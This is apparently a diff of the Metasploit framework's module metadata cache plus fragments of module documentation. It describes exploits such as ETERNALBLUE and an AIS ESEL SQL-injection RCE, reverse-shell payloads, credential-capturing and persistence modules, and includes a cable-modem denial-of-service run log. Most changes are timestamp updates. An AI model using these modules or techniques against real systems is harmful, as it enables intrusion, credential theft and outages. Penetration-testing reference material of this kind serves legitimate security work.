"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
"references": [
"CVE-2019-10123"
],
@@ -131104,7 +132286,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-02-26 10:39:50 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/windows/misc/ais_esel_server_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/ais_esel_server_rce",
@@ -132165,7 +133347,7 @@
"agalway-r7",
"adfoster-r7"
],
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
"references": [
"CVE-2019-12518",
"URL-https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html",
@@ -132183,7 +133365,7 @@
"targets": [
"Crosschex Standard x86 <= V4.3.12"
],
"mod_time": "2020-02-18 23:18:45 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/windows/misc/crosschex_device_bof.rb",
"is_install_path": true,
"ref_name": "windows/misc/crosschex_device_bof",
@@ -140130,7 +141312,7 @@
"Shadow Brokers",
"thelightcosine"
],
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
"references": [
"MSB-MS17-010",
"CVE-2017-0143",
@@ -140153,7 +141335,7 @@
"targets": [
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
],
"mod_time": "2019-10-30 22:20:36 +0000",
"mod_time": "2020-03-09 09:22:01 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_eternalblue",
@@ -141346,7 +142528,7 @@
"author": [
"MC <mc@metasploit.com>"
],
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
"references": [
"CVE-2005-0768",
"OSVDB-14806",
@@ -141365,7 +142547,7 @@
"Windows 2000 Pro English All",
"Windows XP Pro SP0/SP1 English"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/windows/telnet/goodtech_telnet.rb",
"is_install_path": true,
"ref_name": "windows/telnet/goodtech_telnet",
@@ -143026,7 +144208,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
@@ -143061,7 +144243,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
@@ -143096,7 +144278,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
@@ -143164,7 +144346,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
@@ -143199,7 +144381,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
@@ -143234,7 +144416,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
@@ -145887,6 +147069,39 @@
},
"needs_cleanup": false
},
"payload_cmd/unix/reverse_tclsh": {
"name": "Unix Command Shell, Reverse TCP (via Tclsh)",
"fullname": "payload/cmd/unix/reverse_tclsh",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "Creates an interactive shell via Tclsh",
"references": [
],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-26 20:27:01 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_tclsh",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_cmd/unix/reverse_zsh": {
"name": "Unix Command Shell, Reverse TCP (via Zsh)",
"fullname": "payload/cmd/unix/reverse_zsh",
@@ -146349,7 +147564,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-02-21 06:53:37 +0000",
"mod_time": "2020-02-23 19:23:02 +0000",
"path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/reverse_powershell",
@@ -147024,7 +148239,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -147059,7 +148274,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -147094,7 +148309,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
@@ -147195,7 +148410,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_http",
@@ -147230,7 +148445,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_https",
@@ -147265,7 +148480,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
@@ -147468,7 +148683,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_http",
@@ -147503,7 +148718,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_https",
@@ -147538,7 +148753,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -147707,7 +148922,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -147742,7 +148957,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -147777,7 +148992,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -147881,7 +149096,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -147916,7 +149131,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -147951,7 +149166,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -148193,7 +149408,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -148228,7 +149443,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -148263,7 +149478,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -148436,7 +149651,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_http",
@@ -148471,7 +149686,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_https",
@@ -148506,7 +149721,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
@@ -148739,7 +149954,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
@@ -148774,7 +149989,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
@@ -148809,7 +150024,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
@@ -148844,7 +150059,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
@@ -148879,7 +150094,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
@@ -148914,7 +150129,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
@@ -149051,7 +150266,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_http",
@@ -149086,7 +150301,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_https",
@@ -149121,7 +150336,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -149938,7 +151153,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_http",
@@ -149973,7 +151188,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_https",
@@ -150008,7 +151223,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -150719,7 +151934,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -150754,7 +151969,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -150789,7 +152004,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-21 12:40:27 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -151629,7 +152844,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-31 09:32:44 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_http",
@@ -151664,7 +152879,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-31 09:32:44 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_https",
@@ -151699,7 +152914,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-31 09:32:44 +0000",
"mod_time": "2020-03-30 15:30:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_tcp",
@@ -154901,7 +156116,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-02-25 16:49:59 +0000",
"path": "/modules/payloads/singles/windows/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/messagebox",
@@ -157632,7 +158847,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-02 15:47:36 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/pingback_reverse_tcp",
@@ -169645,7 +170860,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-03-24 16:02:54 +0000",
"path": "/modules/post/windows/gather/enum_domain.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain",
@@ -169702,7 +170917,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate tokens present on a system that are part of the\n domain the target host is part of, will also enumerate users in the local\n Administrators, Users and Backup Operator groups to identify Domain members.\n Processes will be also enumerated and checked if they are running under a\n Domain account, on all checks the accounts, processes and tokens will be\n checked if they are part of the Domain Admin group of the domain the machine\n is a member of.",
"description": "This module will enumerate tokens present on a system that are part of the\n domain the target host is part of, will also enumerate users in the local\n Administrators, Users and Backup Operator groups to identify Domain members.\n Processes will be also enumerated and checked if they are running under a\n Domain account, on all checks the accounts, processes and tokens will be\n checked if they are part of the Domain Admin group of the domain the machine\n is a member of.",
"references": [
],
@@ -169712,7 +170927,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-03-24 16:02:54 +0000",
"path": "/modules/post/windows/gather/enum_domain_tokens.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_domain_tokens",
@@ -171340,7 +172555,7 @@
],
"description": "This module modifies a remote .docx file that will, upon opening, submit\n stored netNTLM credentials to a remote host. Verified to work with Microsoft\n Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
"references": [
"URL-http://jedicorp.com/?p=534"
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
],
"platform": "Windows",
"arch": "",
@@ -171348,7 +172563,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-02-24 18:17:06 +0000",
"path": "/modules/post/windows/gather/word_unc_injector.rb",
"is_install_path": true,
"ref_name": "windows/gather/word_unc_injector",
@@ -171359,11 +172574,11 @@
},
"needs_cleanup": null
},
"post_windows/manage/add_user_domain": {
"post_windows/manage/add_user": {
"name": "Windows Manage Add User to the Domain and/or to a Domain Group",
"fullname": "post/windows/manage/add_user_domain",
"fullname": "post/windows/manage/add_user",
"aliases": [
"post/windows/manage/add_user_domain"
],
"rank": 300,
"disclosure_date": null,
@@ -171371,7 +172586,7 @@
"author": [
"Joshua Abraham <jabra@rapid7.com>"
],
"description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.",
"description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.",
"references": [
],
@@ -171381,10 +172596,10 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-09-17 16:00:04 +0000",
"path": "/modules/post/windows/manage/add_user_domain.rb",
"mod_time": "2020-03-24 16:02:54 +0000",
"path": "/modules/post/windows/manage/add_user.rb",
"is_install_path": true,
"ref_name": "windows/manage/add_user_domain",
"ref_name": "windows/manage/add_user",
"check": false,
"post_auth": true,
"default_credential": false,
@@ -171612,7 +172827,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-08-21 22:46:30 +0000",
"mod_time": "2020-03-20 14:12:01 +0000",
"path": "/modules/post/windows/manage/enable_rdp.rb",
"is_install_path": true,
"ref_name": "windows/manage/enable_rdp",
@@ -171857,6 +173072,40 @@
},
"needs_cleanup": null
},
"post_windows/manage/install_python": {
"name": "Install Python for Windows",
"fullname": "post/windows/manage/install_python",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Michael Long <bluesentinel@protonmail.com>"
],
"description": "This module places an embeddable Python3 distribution onto the target file system,\n granting pentesters access to a lightweight Python interpreter.\n This module does not require administrative privileges or user interaction with\n installation prompts.",
"references": [
"URL-https://docs.python.org/3/using/windows.html#windows-embeddable",
"URL-https://attack.mitre.org/techniques/T1064/"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-03-25 07:30:05 +0000",
"path": "/modules/post/windows/manage/install_python.rb",
"is_install_path": true,
"ref_name": "windows/manage/install_python",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_windows/manage/install_ssh": {
"name": "Install OpenSSH for Windows",
"fullname": "post/windows/manage/install_ssh",
@@ -171950,7 +173199,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-12-17 16:39:18 +0000",
"mod_time": "2020-03-10 13:00:12 +0000",
"path": "/modules/post/windows/manage/migrate.rb",
"is_install_path": true,
"ref_name": "windows/manage/migrate",
@@ -172715,7 +173964,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-02-05 16:21:38 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/post/windows/manage/sshkey_persistence.rb",
"is_install_path": true,
"ref_name": "windows/manage/sshkey_persistence",
@@ -9,8 +9,6 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/admin/smb/webexec_command```
@@ -22,7 +20,7 @@
## Options
**FORCE_GUI**
### FORCE_GUI
Uses WMIC to create a GUI
@@ -0,0 +1,44 @@
## Vulnerable Application
Sagecom F@st-3890 Cable Modems
Please note that successful completion of this module will most likely knock out upstream network services, including any remote sessions connected through the cable modem.
Please refer to [https://cablehaunt.com/](https://cablehaunt.com/) for more information on this vulnerability.
## Options
**WS_USERNAME**
This is the basic auth username for the spectrum analysis web service. This is typicall default credentials such as `admin:password` but may also be something along the lines of `spectrum:spectrum`. This will vary from manufacturer to manufacturer and ISP to ISP.
**WS_PASSWORD**
This is the basic auth password for the spectrum analysis web service.
**TIMEOUT**
This is the timeout in seconds that the module should wait before making a conclusion on the success of the payload delivery. Typically, the device crashes within about 5 second of the payload being delivered. The default value of `15` should be seen as the lower bound for `TIMEOUT` values.
**RHOSTS**
Typically the only address which should be used for this value is `192.168.100.1`. It can be different, but not in a well-secured configuration.
**RPORT**
On some devices the Spectrum Analysis web service runs on port `8080`, though Lyrebirds (the original discoverer and PoC author) notes that sometimes it can run on port `6080`.
## Scenarios
```
msf5 auxiliary(dos/http/cable_haunt_websocket_dos) > run
[*] Running module against 192.168.100.1
[*] Attempting Connection to 192.168.100.1
[*] Opened connection
[*] Sending payload
[*] Checking Modem Status
[*] Cable Modem unreachable
[+] Exploit delivered and cable modem unreachable.
[*] Auxiliary module execution completed
```
@@ -1,14 +1,14 @@
## Description
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
## Vulnerable Application
### Description
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
